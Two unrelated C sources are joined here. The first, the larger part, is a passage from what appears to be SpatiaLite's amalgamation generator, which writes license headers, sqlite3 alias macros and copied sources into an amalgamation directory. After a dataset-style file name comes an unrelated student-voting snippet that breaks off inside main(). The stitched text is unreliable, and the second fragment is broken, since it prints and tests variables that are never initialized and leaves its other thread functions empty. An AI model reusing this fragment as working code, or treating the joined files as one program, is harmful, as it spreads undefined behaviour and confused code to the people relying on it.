"WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n");
fprintf (out,
"for the specific language governing rights and limitations under the\n");
fprintf (out, "License.\n\n");
fprintf (out, "The Original Code is the SpatiaLite library\n\n");
fprintf (out,
"The Initial Developer of the Original Code is Alessandro Furieri\n\n");
fprintf (out,
"Portions created by the Initial Developer are Copyright (C) 2008\n");
fprintf (out, "the Initial Developer. All Rights Reserved.\n\n");
fprintf (out, "Contributor(s):\n");
fprintf (out, "Klaus Foerster [email protected]\n");
fprintf (out, "Luigi Costalli [email protected]\n");
fprintf (out, "The Vanuatu Team - University of Toronto\n");
fprintf (out, "\tSupervisor: Greg Wilson [email protected]\n");
fprintf (out, "\n");
fprintf (out,
"Alternatively, the contents of this file may be used under the terms of\n");
fprintf (out,
"either the GNU General Public License Version 2 or later (the \"GPL\"), or\n");
fprintf (out,
"the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n");
fprintf (out,
"in which case the provisions of the GPL or the LGPL are applicable instead\n");
fprintf (out,
"of those above. If you wish to allow use of your version of this file only\n");
fprintf (out,
"under the terms of either the GPL or the LGPL, and not to allow others to\n");
fprintf (out,
"use your version of this file under the terms of the MPL, indicate your\n");
fprintf (out,
"decision by deleting the provisions above and replace them with the notice\n");
fprintf (out,
"and other provisions required by the GPL or the LGPL. If you do not delete\n");
fprintf (out,
"the provisions above, a recipient may use your version of this file under\n");
fprintf (out,
"the terms of any one of the MPL, the GPL or the LGPL.\n\n*/\n\n");
fprintf (out, "#if defined(_WIN32) && !defined(__MINGW32__)\n");
fprintf (out, "/* MSVC strictly requires this include [off_t] */\n");
fprintf (out, "#include <sys/types.h>\n");
fprintf (out, "#endif\n\n");
fprintf (out, "#include <stdio.h>\n");
fprintf (out, "#include <stdlib.h>\n");
fprintf (out, "#include <string.h>\n");
fprintf (out, "#include <memory.h>\n");
fprintf (out, "#include <limits.h>\n");
fprintf (out, "#include <math.h>\n");
fprintf (out, "#include <float.h>\n");
fprintf (out, "#include <locale.h>\n");
fprintf (out, "#include <errno.h>\n\n");
fprintf (out, "#include <assert.h>\n\n");
fprintf (out, "#include \"config.h\"\n\n");
fprintf (out, "#if defined(__MINGW32__) || defined(_WIN32)\n");
fprintf (out, "#define LIBICONV_STATIC\n");
fprintf (out, "#include <iconv.h>\n");
fprintf (out, "#define LIBCHARSET_STATIC\n");
fprintf (out, "#ifdef _MSC_VER\n");
fprintf (out, "/* <localcharset.h> isn't supported on OSGeo4W */\n");
fprintf (out, "/* applying a tricky workaround to fix this issue */\n");
fprintf (out, "extern const char * locale_charset (void);\n");
fprintf (out, "#else /* sane Windows - not OSGeo4W */\n");
fprintf (out, "#include <localcharset.h>\n");
fprintf (out, "#endif /* end localcharset */\n");
fprintf (out, "#else /* not WINDOWS */\n");
fprintf (out, "#if defined(__APPLE__) || defined(__ANDROID__)\n");
fprintf (out, "#include <iconv.h>\n");
fprintf (out, "#include <localcharset.h>\n");
fprintf (out, "#else /* not Mac OsX */\n");
fprintf (out, "#include <iconv.h>\n");
fprintf (out, "#include <langinfo.h>\n");
fprintf (out, "#endif\n#endif\n\n");
fprintf (out, "#if defined(_WIN32) || defined(WIN32)\n");
fprintf (out, "#include <io.h>\n");
fprintf (out, "#ifndef isatty\n");
fprintf (out, "#define isatty _isatty\n");
fprintf (out, "#endif\n");
fprintf (out, "#ifndef fileno\n");
fprintf (out, "#define fileno _fileno\n");
fprintf (out, "#endif\n");
fprintf (out, "#else\n");
fprintf (out, "#include <unistd.h>\n");
fprintf (out, "#endif\n\n");
fprintf (out, "#ifndef OMIT_GEOS /* including GEOS */\n");
fprintf (out, "#include <geos_c.h>\n");
fprintf (out, "#endif\n\n");
fprintf (out, "#ifndef OMIT_PROJ /* including PROJ.4 */\n");
fprintf (out, "#include <proj_api.h>\n");
fprintf (out, "#endif\n\n");
fprintf (out, "#ifndef OMIT_FREEXL /* including FreeXL */\n");
fprintf (out, "#include <freexl.h>\n");
fprintf (out, "#endif\n\n");
fprintf (out, "#ifdef _WIN32\n");
fprintf (out, "#define strcasecmp\t_stricmp\n");
fprintf (out, "#define strncasecmp\t_strnicmp\n");
fprintf (out, "#define atoll\t_atoi64\n");
fprintf (out, "#endif /* not WIN32 */\n\n");
fprintf (out, "/*\n** alias MACROs to avoid any potential collision\n");
fprintf (out, "** for linker symbols declared into the sqlite3 code\n");
fprintf (out, "** internally embedded into SpatiaLite\n*/\n");
p = first;
while (p)
{
char alias[1024];
strcpy (alias, p->keyword);
alias[0] = 'S';
alias[1] = 'P';
alias[2] = 'L';
fprintf (out, "#define %s %s\n", p->keyword, alias);
p = p->next;
}
fprintf (out, "/* end SpatiaLite/sqlite3 alias macros */\n\n");
}
static void
do_note (FILE * out, const char *file, int mode)
{
/* begin/end file markerts */
if (mode)
fprintf (out, "/**************** End file: %s **********/\n\n", file);
else
fprintf (out, "\n/**************** Begin file: %s **********/\n", file);
}
static void
do_sqlite3_dll (FILE * out, struct masked_keyword *first)
{
/* inserting #ifdef to build a Windows DLL */
struct masked_keyword *p;
fprintf (out, "#ifdef DLL_EXPORT\n");
fprintf (out, "#define SQLITE_API __declspec(dllexport)\n");
fprintf (out, "#else\n#define SQLITE_API\n#endif\n\n");
fprintf (out, "/*\n** the following macros ensure that the sqlite3\n");
fprintf (out, "** code internally embedded in SpatiaLite never defines\n");
fprintf (out, "** any linker symbol potentially conflicting with\n");
fprintf (out, "** an external sqlite3 library\n*/\n");
p = first;
while (p)
{
char alias[1024];
strcpy (alias, p->keyword);
if (strcmp (alias, "sqlite3_column_database_name") == 0 ||
strcmp (alias, "sqlite3_column_database_name16") == 0 ||
strcmp (alias, "sqlite3_column_table_name") == 0 ||
strcmp (alias, "sqlite3_column_table_name16") == 0 ||
strcmp (alias, "sqlite3_column_origin_name") == 0 ||
strcmp (alias, "sqlite3_column_origin_name16") == 0 ||
strcmp (alias, "sqlite3_table_column_metadata") == 0)
{
/* avoiding to define METADATA symbols (usually disabled) */
p = p->next;
continue;
}
alias[0] = 'S';
alias[1] = 'P';
alias[2] = 'L';
fprintf (out, "#define %s %s\n", p->keyword, alias);
p = p->next;
}
fprintf (out, "/* End SpatiaLite alias-MACROs */\n\n");
}
static int
is_header (const char *row)
{
/* checks for #include */
if (strncmp (row, "#include <inttypes.h>", 21) == 0)
{
/* note well: inttypes.h must not be commented */
return 0;
}
if (strlen (row) >= 8 && strncmp (row, "#include", 8) == 0)
return 1;
return 0;
}
static const char *
check_autogenerated_path (const char *row)
{
/* checks for #include (autogenerated code) */
if (strncmp (row, "#include \"vanuatuWkt.h\"", 23) == 0)
return vanuatuWkt_h;
if (strncmp (row, "#include \"vanuatuWkt.c\"", 23) == 0)
return vanuatuWkt_c;
if (strncmp (row, "#include \"Ewkt.h\"", 17) == 0)
return Ewkt_h;
if (strncmp (row, "#include \"Ewkt.c\"", 17) == 0)
return Ewkt_c;
if (strncmp (row, "#include \"geoJSON.h\"", 20) == 0)
return geoJSON_h;
if (strncmp (row, "#include \"geoJSON.c\"", 20) == 0)
return geoJSON_c;
if (strncmp (row, "#include \"Kml.h\"", 16) == 0)
return Kml_h;
if (strncmp (row, "#include \"Kml.c\"", 16) == 0)
return Kml_c;
if (strncmp (row, "#include \"Gml.h\"", 16) == 0)
return Gml_h;
if (strncmp (row, "#include \"Gml.c\"", 16) == 0)
return Gml_c;
if (strncmp (row, "#include \"lex.VanuatuWkt.c\"", 27) == 0)
return lex_VanuatuWkt_c;
if (strncmp (row, "#include \"lex.Ewkt.c\"", 21) == 0)
return lex_Ewkt_c;
if (strncmp (row, "#include \"lex.GeoJson.c\"", 24) == 0)
return lex_GeoJson_c;
if (strncmp (row, "#include \"lex.Kml.c\"", 20) == 0)
return lex_Kml_c;
if (strncmp (row, "#include \"lex.Gml.c\"", 20) == 0)
return lex_Gml_c;
if (strncmp (row, "#include \"epsg_inlined.c\"", 25) == 0)
return epsg_inlined_c;
return NULL;
}
static void
do_copy_sqlite (FILE * out, const char *basedir, const char *file)
{
/* copy the sqlite3.h header */
char input[1024];
char row[256];
char *p = row;
int c;
FILE *in;
strcpy (input, PREFIX);
strcat (input, basedir);
strcat (input, file);
in = fopen (input, "r");
if (!in)
{
fprintf (stderr, "Error opening %s\n", input);
return;
}
do_note (out, file, 0);
while ((c = getc (in)) != EOF)
{
*p++ = c;
if (c == '\n')
{
*p = '\0';
p = row;
fprintf (out, "%s", row);
}
}
fclose (in);
do_note (out, file, 1);
}
static void
do_copy_plain (FILE * out, const char *file)
{
/* copy a source AS IS */
char input[1024];
int c;
FILE *in;
strcpy (input, PREFIX);
strcat (input, file);
in = fopen (input, "r");
if (!in)
{
fprintf (stderr, "Error opening %s\n", input);
return;
}
while ((c = getc (in)) != EOF)
putc (c, out);
fclose (in);
}
static void
do_copy (FILE * out, const char *basedir, const char *file)
{
/* copy a source file suppressing the boiler-plate and headers */
char input[1024];
char row[256];
char *p = row;
int c;
int boiler_plate = 0;
int boiler_plate_found = 0;
FILE *in;
strcpy (input, PREFIX);
strcat (input, basedir);
strcat (input, file);
in = fopen (input, "r");
if (!in)
{
fprintf (stderr, "Error opening %s\n", input);
return;
}
do_note (out, file, 0);
while ((c = getc (in)) != EOF)
{
*p++ = c;
if (c == '\n')
{
*p = '\0';
p = row;
if (!boiler_plate_found && strlen (row) >= 2
&& strncmp (row, "/*", 2) == 0)
{
boiler_plate_found = 1;
boiler_plate = 1;
continue;
}
if (boiler_plate)
{
if (strlen (row) >= 2 && strncmp (row, "*/", 2) == 0)
boiler_plate = 0;
continue;
}
if (is_header (row))
{
const char *auto_path = check_autogenerated_path (row);
row[strlen (row) - 1] = '\0';
fprintf (out, "/* %s */\n", row);
if (auto_path != NULL)
do_copy_plain (out, auto_path);
continue;
}
fprintf (out, "%s", row);
}
}
fclose (in);
do_note (out, file, 1);
}
static void
feed_export_keywords (char *row, struct masked_keyword **first,
struct masked_keyword **last)
{
struct masked_keyword *p;
char kw[1024];
int len;
int i;
int skip = 0;
int pos;
int end = (int) strlen (row);
for (i = 0; i < end; i++)
{
if (row[i] == ' ' || row[i] == '\t')
skip++;
else
break;
}
if (strncmp (row + skip, "SPATIALITE_DECLARE ", 19) == 0)
skip += 19;
else if (strncmp (row + skip, "GAIAAUX_DECLARE ", 16) == 0)
skip += 16;
else if (strncmp (row + skip, "GAIAEXIF_DECLARE ", 17) == 0)
skip += 17;
else if (strncmp (row + skip, "GAIAGEO_DECLARE ", 16) == 0)
skip += 16;
else
return;
if (strncmp (row + skip, "const char *", 12) == 0)
pos = skip + 12;
else if (strncmp (row + skip, "unsigned char ", 14) == 0)
pos = skip + 14;
else if (strncmp (row + skip, "unsigned short ", 15) == 0)
pos = skip + 15;
else if (strncmp (row + skip, "unsigned int ", 13) == 0)
pos = skip + 13;
else if (strncmp (row + skip, "char *", 6) == 0)
pos = skip + 6;
else if (strncmp (row + skip, "void *", 6) == 0)
pos = skip + 6;
else if (strncmp (row + skip, "void ", 5) == 0)
pos = skip + 5;
else if (strncmp (row + skip, "int ", 4) == 0)
pos = skip + 4;
else if (strncmp (row + skip, "double ", 7) == 0)
pos = skip + 7;
else if (strncmp (row + skip, "float ", 6) == 0)
pos = skip + 6;
else if (strncmp (row + skip, "short ", 6) == 0)
pos = skip + 6;
else if (strncmp (row + skip, "sqlite3_int64 ", 14) == 0)
pos = skip + 14;
else if (strncmp (row + skip, "gaiaPointPtr ", 13) == 0)
pos = skip + 13;
else if (strncmp (row + skip, "gaiaLinestringPtr ", 18) == 0)
pos = skip + 18;
else if (strncmp (row + skip, "gaiaPolygonPtr ", 15) == 0)
pos = skip + 15;
else if (strncmp (row + skip, "gaiaRingPtr ", 12) == 0)
pos = skip + 12;
else if (strncmp (row + skip, "gaiaGeomCollPtr ", 16) == 0)
pos = skip + 16;
else if (strncmp (row + skip, "gaiaDynamicLinePtr ", 19) == 0)
pos = skip + 19;
else if (strncmp (row + skip, "gaiaDbfFieldPtr ", 16) == 0)
pos = skip + 16;
else if (strncmp (row + skip, "gaiaValuePtr ", 13) == 0)
pos = skip + 13;
else if (strncmp (row + skip, "gaiaExifTagListPtr ", 19) == 0)
pos = skip + 19;
else if (strncmp (row + skip, "gaiaExifTagPtr ", 15) == 0)
pos = skip + 15;
else
return;
for (i = pos; i < end; i++)
{
if (row[i] == ' ' || row[i] == '(' || row[i] == '[' || row[i] == ';')
{
end = i;
break;
}
}
len = end - pos;
memcpy (kw, row + pos, len);
kw[len] = '\0';
p = *first;
while (p)
{
if (strcmp (p->keyword, kw) == 0)
return;
p = p->next;
}
p = malloc (sizeof (struct masked_keyword));
p->keyword = malloc (len + 1);
strcpy (p->keyword, kw);
p->next = NULL;
if (*first == NULL)
*first = p;
if (*last != NULL)
(*last)->next = p;
*last = p;
}
static void
do_copy_export (FILE * out, const char *file, struct masked_keyword **first,
struct masked_keyword **last)
{
/* copy a source AS IS */
char input[1024];
char row[1024];
char *p = row;
int c;
FILE *in;
strcpy (input, PREFIX);
strcat (input, file);
in = fopen (input, "r");
if (!in)
{
fprintf (stderr, "Error opening %s\n", input);
return;
}
while ((c = getc (in)) != EOF)
{
if (c == '\n')
{
*p = '\0';
feed_export_keywords (row, first, last);
fprintf (out, "%s\n", row);
p = row;
continue;
}
else
*p++ = c;
}
fclose (in);
}
static void
do_copy_header (FILE * out, const char *file, struct masked_keyword *first)
{
/* copy a source AS IS */
struct masked_keyword *p;
char input[1024];
int c;
FILE *in;
strcpy (input, PREFIX);
strcat (input, file);
in = fopen (input, "r");
if (!in)
{
fprintf (stderr, "Error opening %s\n", input);
return;
}
fprintf (out, "/*\n** alias MACROs to avoid any potential collision\n");
fprintf (out, "** for linker symbols declared into the sqlite3 code\n");
fprintf (out, "** internally embedded into SpatiaLite\n*/\n");
p = first;
while (p)
{
char alias[1024];
strcpy (alias, p->keyword);
alias[0] = 'S';
alias[1] = 'P';
alias[2] = 'L';
fprintf (out, "#define %s %s\n", p->keyword, alias);
p = p->next;
}
fprintf (out, "/* end SpatiaLite/sqlite3 alias macros */\n\n");
while ((c = getc (in)) != EOF)
putc (c, out);
fclose (in);
}
static void
feed_masked_keywords (char *row, int pos, struct masked_keyword **first,
struct masked_keyword **last)
{
struct masked_keyword *p;
char kw[1024];
int len;
int i;
int end = (int) strlen (row);
for (i = pos; i < end; i++)
{
if (row[i] == ' ' || row[i] == '(' || row[i] == '[' || row[i] == ';')
{
end = i;
break;
}
}
len = end - pos;
memcpy (kw, row + pos, len);
kw[len] = '\0';
/*
** caveat: this symbol is abdolutely required by loadable extension modules
** and must *never* be masked
*/
if (strcmp (kw, "sqlite3_extension_init") == 0)
return;
p = *first;
while (p)
{
if (strcmp (p->keyword, kw) == 0)
return;
p = p->next;
}
p = malloc (sizeof (struct masked_keyword));
p->keyword = malloc (len + 1);
strcpy (p->keyword, kw);
p->next = NULL;
if (*first == NULL)
*first = p;
if (*last != NULL)
(*last)->next = p;
*last = p;
}
static void
prepare_masked (const char *file, struct masked_keyword **first,
struct masked_keyword **last)
{
/* feeding the ALIAS-macros */
char input[1024];
char row[1024];
char *p = row;
int c;
FILE *in;
strcpy (input, PREFIX);
strcat (input, file);
in = fopen (input, "r");
if (!in)
{
fprintf (stderr, "Error opening %s\n", input);
return;
}
while ((c = getc (in)) != EOF)
{
if (c == '\n')
{
*p = '\0';
if (strncmp (row, "SQLITE_API int ", 15) == 0)
feed_masked_keywords (row, 15, first, last);
else if (strncmp (row, "SQLITE_API double ", 18) == 0)
feed_masked_keywords (row, 18, first, last);
else if (strncmp (row, "SQLITE_API void *", 17) == 0)
feed_masked_keywords (row, 17, first, last);
else if (strncmp (row, "SQLITE_API void ", 16) == 0)
feed_masked_keywords (row, 16, first, last);
else if (strncmp (row, "SQLITE_API char *", 17) == 0)
feed_masked_keywords (row, 17, first, last);
else if (strncmp (row, "SQLITE_API const void *", 23) == 0)
feed_masked_keywords (row, 23, first, last);
else if (strncmp (row, "SQLITE_API const char *", 23) == 0)
feed_masked_keywords (row, 23, first, last);
else if (strncmp (row, "SQLITE_API const char ", 22) == 0)
feed_masked_keywords (row, 22, first, last);
else if (strncmp (row, "SQLITE_API const unsigned char *", 32)
== 0)
feed_masked_keywords (row, 32, first, last);
else if (strncmp (row, "SQLITE_API sqlite3_int64 ", 25) == 0)
feed_masked_keywords (row, 25, first, last);
else if (strncmp (row, "SQLITE_API sqlite3_value *", 26) == 0)
feed_masked_keywords (row, 26, first, last);
else if (strncmp (row, "SQLITE_API sqlite3_backup *", 27) == 0)
feed_masked_keywords (row, 27, first, last);
else if (strncmp (row, "SQLITE_API sqlite3_mutex *", 26) == 0)
feed_masked_keywords (row, 26, first, last);
else if (strncmp (row, "SQLITE_API sqlite3_stmt *", 25) == 0)
feed_masked_keywords (row, 25, first, last);
else if (strncmp (row, "SQLITE_API sqlite3_vfs *", 24) == 0)
feed_masked_keywords (row, 24, first, last);
else if (strncmp (row, "SQLITE_API sqlite3 *", 20) == 0)
feed_masked_keywords (row, 20, first, last);
p = row;
continue;
}
else
*p++ = c;
}
fclose (in);
}
static void
do_copy_ext (FILE * out, const char *basedir, const char *file)
{
/* copy the sqlite3ext.h header */
char input[1024];
char row[1024];
char *p = row;
int c;
FILE *in;
strcpy (input, PREFIX);
strcat (input, basedir);
strcat (input, file);
in = fopen (input, "r");
if (!in)
{
fprintf (stderr, "Error opening %s\n", input);
return;
}
do_note (out, file, 0);
while ((c = getc (in)) != EOF)
{
if (c == '\n')
{
*p = '\0';
if (strlen (row) > 16)
{
if (strncmp (row, "#define sqlite3_", 16) == 0)
{
row[8] = 'S';
row[9] = 'P';
row[10] = 'L';
}
}
if (strcmp (row, "#include \"sqlite3.h\"") == 0)
fprintf (out, "/* %s */\n", row);
else
fprintf (out, "%s\n", row);
p = row;
continue;
}
else
*p++ = c;
}
fclose (in);
do_note (out, file, 1);
}
static void
do_makefile (FILE * out)
{
/* generating the Makefile.am for headers */
fprintf (out, "\nnobase_include_HEADERS = \\\n");
fprintf (out, "\tspatialite.h \\\n");
fprintf (out, "\tspatialite/gaiaexif.h \\\n");
fprintf (out, "\tspatialite/gaiaaux.h \\\n");
fprintf (out, "\tspatialite/gaiageo.h \\\n");
fprintf (out, "\tspatialite/gg_const.h \\\n");
fprintf (out, "\tspatialite/gg_structs.h \\\n");
fprintf (out, "\tspatialite/gg_core.h \\\n");
fprintf (out, "\tspatialite/gg_mbr.h \\\n");
fprintf (out, "\tspatialite/gg_formats.h \\\n");
fprintf (out, "\tspatialite/gg_dynamic.h \\\n");
fprintf (out, "\tspatialite/gg_advanced.h \\\n");
fprintf (out, "\tspatialite/sqlite3.h \\\n");
fprintf (out, "\tspatialite/sqlite3ext.h \\\n");
fprintf (out, "\tspatialite/spatialite.h \\\n");
fprintf (out, "\tspatialite/sqlite.h \\\n");
fprintf (out, "\tspatialite/debug.h\n");
}
static void
free_masked_keywords (struct masked_keyword *first,
struct masked_keyword *first_defn)
{
struct masked_keyword *p = first;
struct masked_keyword *pn;
while (p)
{
/* freeing masked keywords */
pn = p->next;
free (p->keyword);
free (p);
p = pn;
}
p = first_defn;
while (p)
{
/* freeing export keyworks */
pn = p->next;
free (p->keyword);
free (p);
p = pn;
}
}
int
main ()
{
struct masked_keyword *first = NULL;
struct masked_keyword *last = NULL;
struct masked_keyword *first_def = NULL;
struct masked_keyword *last_def = NULL;
FILE *out;
/* produces the AMALGAMATION */
mkdir ("amalgamation", 0777);
mkdir ("amalgamation/headers", 0777);
mkdir ("amalgamation/headers/spatialite", 0777);
/* amalgamating SpatiaLite */
prepare_masked ("/sqlite3/sqlite3.c", &first, &last);
out = fopen ("amalgamation/spatialite.c", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/amalgamation.c\n");
return 1;
}
do_headers (out, first);
do_copy_sqlite (out, "/headers/spatialite/", "sqlite3.h");
do_copy_ext (out, "/headers/spatialite/", "sqlite3ext.h");
do_copy (out, "/headers/", "spatialite.h");
do_copy (out, "/headers/spatialite/", "gaiaaux.h");
do_copy (out, "/headers/spatialite/", "gaiaexif.h");
do_copy (out, "/headers/spatialite/", "gaiageo.h");
do_copy (out, "/headers/spatialite/", "gg_const.h");
do_copy (out, "/headers/spatialite/", "gg_structs.h");
do_copy (out, "/headers/spatialite/", "gg_core.h");
do_copy (out, "/headers/spatialite/", "gg_mbr.h");
do_copy (out, "/headers/spatialite/", "gg_formats.h");
do_copy (out, "/headers/spatialite/", "gg_dynamic.h");
do_copy (out, "/headers/spatialite/", "gg_advanced.h");
do_copy (out, "/headers/spatialite/", "spatialite.h");
do_copy (out, "/headers/spatialite/", "sqlite.h");
do_copy (out, "/headers/spatialite/", "debug.h");
do_copy (out, "/gaiaaux/", "gg_sqlaux.c");
do_copy (out, "/gaiaaux/", "gg_utf8.c");
do_copy (out, "/gaiaexif/", "gaia_exif.c");
do_copy (out, "/gaiageo/", "gg_advanced.c");
do_copy (out, "/gaiageo/", "gg_endian.c");
do_copy (out, "/gaiageo/", "gg_geometries.c");
do_copy (out, "/gaiageo/", "gg_relations.c");
do_copy (out, "/gaiageo/", "gg_geoscvt.c");
do_copy (out, "/gaiageo/", "gg_shape.c");
do_copy (out, "/gaiageo/", "gg_transform.c");
do_copy (out, "/gaiageo/", "gg_wkb.c");
do_copy (out, "/gaiageo/", "gg_geodesic.c");
do_copy (out, "/spatialite/", "spatialite.c");
do_copy (out, "/spatialite/", "mbrcache.c");
do_copy (out, "/spatialite/", "virtualshape.c");
do_copy (out, "/spatialite/", "virtualdbf.c");
do_copy (out, "/spatialite/", "virtualXL.c");
do_copy (out, "/spatialite/", "virtualnetwork.c");
do_copy (out, "/spatialite/", "virtualspatialindex.c");
do_copy (out, "/spatialite/", "virtualfdo.c");
do_copy (out, "/virtualtext/", "virtualtext.c");
do_copy (out, "/versioninfo/", "version.c");
do_copy (out, "/gaiageo/", "gg_wkt.c");
do_copy (out, "/srsinit/", "srs_init.c");
do_copy (out, "/shapefiles/", "shapefiles.c");
do_copy (out, "/gaiageo/", "gg_vanuatu.c");
do_copy (out, "/gaiageo/", "gg_ewkt.c");
do_copy (out, "/gaiageo/", "gg_geoJSON.c");
do_copy (out, "/gaiageo/", "gg_kml.c");
do_copy (out, "/gaiageo/", "gg_gml.c");
fclose (out);
/* setting up the HEADERS */
out = fopen ("amalgamation/headers/spatialite/sqlite3.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/sqlite3.h\n");
return 1;
}
do_copy_header (out, "/headers/spatialite/sqlite3.h", first);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/sqlite3ext.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/sqlite3.h\n");
return 1;
}
do_copy_header (out, "/headers/spatialite/sqlite3ext.h", first);
fclose (out);
out = fopen ("amalgamation/sqlite3.c", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/sqlite3.c\n");
return 1;
}
do_sqlite3_dll (out, first);
prepare_masked ("/sqlite3/sqlite3.c", &first, &last);
do_copy_plain (out, "/sqlite3/sqlite3.c");
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gaiaaux.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gaiaaux.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gaiaaux.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gaiageo.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gaiageo.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gaiageo.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gg_const.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gg_const.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gg_const.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gg_structs.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gg_structs.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gg_structs.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gg_core.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gg_core.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gg_core.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gg_mbr.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gg_mbr.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gg_mbr.h", &first_def, &last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gg_formats.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gg_formats.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gg_formats.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gg_dynamic.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gg_dynamic.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gg_dynamic.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gg_advanced.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gg_advanced.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gg_advanced.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/gaiaexif.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/gaiaexif.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/gaiaexif.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/spatialite.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/spatialite.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/spatialite.h", &first_def,
&last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/sqlite.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/sqlite.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/sqlite.h", &first_def, &last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite/debug.h", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/headers/spatialite/debug.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite/debug.h", &first_def, &last_def);
fclose (out);
out = fopen ("amalgamation/headers/spatialite.h", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/headers/spatialite.h\n");
return 1;
}
do_copy_export (out, "/headers/spatialite.h", &first_def, &last_def);
fclose (out);
out = fopen ("amalgamation/headers/Makefile.am", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/headers/Makefile.am\n");
return 1;
}
do_makefile (out);
fclose (out);
/* setting up the AUTOMAKE stuff */
out = fopen ("amalgamation/AUTHORS", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/AUTHORS\n");
return 1;
}
do_copy_plain (out, "/automake/AUTHORS");
fclose (out);
out = fopen ("amalgamation/COPYING", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/COPYING\n");
return 1;
}
do_copy_plain (out, "/automake/COPYING");
fclose (out);
out = fopen ("amalgamation/INSTALL", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/INSTALL\n");
return 1;
}
do_copy_plain (out, "/automake/INSTALL");
fclose (out);
out = fopen ("amalgamation/README", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/README\n");
return 1;
}
do_copy_plain (out, "/automake/README");
fclose (out);
out = fopen ("amalgamation/configure.ac", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/configure.ac\n");
return 1;
}
do_copy_plain (out, "/automake/configure.ac");
fclose (out);
out = fopen ("amalgamation/Makefile.am", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/Makefile.am\n");
return 1;
}
do_copy_plain (out, "/automake/Makefile.am");
fclose (out);
out = fopen ("amalgamation/makefile.vc", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/makefile.vc\n");
return 1;
}
do_copy_plain (out, "/automake/makefile.vc");
fclose (out);
out = fopen ("amalgamation/nmake.opt", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/nmake.opt\n");
return 1;
}
do_copy_plain (out, "/automake/nmake.opt");
out = fopen ("amalgamation/spatialite.pc.in", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/spatialite.pc.in\n");
return 1;
}
do_copy_plain (out, "/automake/spatialite.pc.in");
fclose (out);
out = fopen ("amalgamation/auto-sh", "wb");
if (!out)
{
fprintf (stderr, "Error opening amalgamation/auto-sh\n");
return 1;
}
do_auto_sh (out);
fclose (out);
out = fopen ("amalgamation/spatialite-sql-latest.html", "wb");
if (!out)
{
fprintf (stderr,
"Error opening amalgamation/spatialite-sql-latest.html\n");
return 1;
}
do_copy_plain (out, "/../spatialite-sql-latest.html");
fclose (out);
free_masked_keywords (first, first_def);
return 0;
}
|
the_stack_data/11482.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <pthread.h>
void *studentCncil(void *args)
{
int gap;
char *department, *stateOfOrigin, *name, *email;
if(gap == 0)
{
printf("%s\n %s\n %s\n %s\nYou can vote", name, email, department, stateOfOrigin);
}
else
{
printf("Sorry you are not eligible to vote");
}
return NULL;
}
void *ClassRep(void *args)
{
return NULL;
}
void *ClassLevel(void *args)
{
return NULL;
}
void *CGPA(void *args)
{
return NULL;
}
int main()
{
